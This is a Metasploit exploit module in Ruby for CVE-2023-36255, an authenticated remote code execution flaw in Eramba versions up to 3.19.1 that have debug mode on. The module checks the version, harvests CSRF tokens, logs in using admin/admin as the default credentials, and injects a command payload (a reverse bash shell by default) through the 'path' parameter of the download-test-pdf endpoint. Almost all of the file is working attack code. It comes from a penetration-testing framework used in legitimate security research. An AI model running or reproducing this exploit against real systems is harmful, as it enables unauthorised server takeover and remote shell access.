##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Eramba (up to 3.19.1) Authenticated Remote Code Execution Module',
        'Description' => %q{
          This module exploits a remote code execution vulnerability in Eramba.
          An authenticated user can execute arbitrary commands on the server by
          exploiting the path parameter in the download-test-pdf endpoint.
          Eramba debug mode has to be enabled.
        },
        'Author' => [
          'Trovent Security GmbH',
          'Sergey Makarov',        # vulnerability discovery and exploit
          'Stefan Pietsch',        # CVE and Advisory
          'Niklas Rubel', # MSF module
          'msutovsky-r7' # MSF module
        ],
        'License' => MSF_LICENSE,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [IOC_IN_LOGS],
          'Reliability' => []
        },
        'Targets' => [
          [
            'Command',
            {
              'Platform' => ['unix', 'linux'],
              'Arch' => ARCH_CMD,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/reverse_bash'
              }
            }
          ],
        ],
        'DefaultTarget' => 0,

        'References' => [
          ['CVE', '2023-36255'],
          ['URL', 'https://trovent.github.io/security-advisories/TRSA-2303-01/TRSA-2303-01.txt']
        ],
        'DisclosureDate' => '2023-08-01',
        'DefaultOptions' => {
          'RPORT' => 8443,
          'SSL' => true
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [ true, 'The base path to Eramba', '/']),
        OptString.new('USERNAME', [ true, 'The username to authenticate with', 'admin']),
        OptString.new('PASSWORD', [ true, 'The password to authenticate with', 'admin']),
      ]
    )
  end

  def check
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri('/login')
    })

    return Exploit::CheckCode::Unknown('Could not determine the target status') unless res&.code == 200

    html_body = res.get_html_document
    version_html = html_body.at('//p[contains(text(), "App version")]/strong')&.text
    return Exploit::CheckCode::Unknown('Could not determine the target status') unless version_html

    return Exploit::CheckCode::Safe('Debug mode not enabled.') unless html_body.at('input[@name="_Token[debug]"]')

    version = Rex::Version.new(version_html)

    return Exploit::CheckCode::Appears("Eramba Version #{version} is affected.") if version <= Rex::Version.new('3.19.1')

    return Exploit::CheckCode::Safe("Eramba Version #{version} is not affected.")
  end

  def exploit
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri('/login'),
      'keep_cookies' => true
    })

    html_body = res.get_html_document
    csrf_token = html_body.at('input[@name="_csrfToken"]')
    token_fields = html_body.at('input[@name="_Token[fields]"]')
    token_unlocked = html_body.at('input[@name="_Token[unlocked]"]')
    token_debug = html_body.at('input[@name="_Token[debug]"]')

    fail_with(Failure::UnexpectedReply, 'Couldn\'t parse tokens') unless token_fields && token_unlocked && token_debug && csrf_token

    res = send_request_cgi!({
      'method' => 'POST',
      'uri' => normalize_uri('/login'),
      'keep_cookies' => true,
      'vars_post' => {
        '_csrfToken' => csrf_token['value'],
        'login' => datastore['USERNAME'],
        'password' => datastore['PASSWORD'],
        '_Token[fields]' => token_fields['value'],
        '_Token[unlocked]' => token_unlocked['value'],
        '_Token[debug]' => token_debug['value']
      }
    })

    fail_with(Failure::UnexpectedReply, 'Failed to login') unless res&.code == 200 && res.body.include?('Landing Dashboard')

    send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri('/settings/download-test-pdf'),
      'vars_get' =>
      {
        'path' => payload.encoded.to_s
      }
    })
  end
end
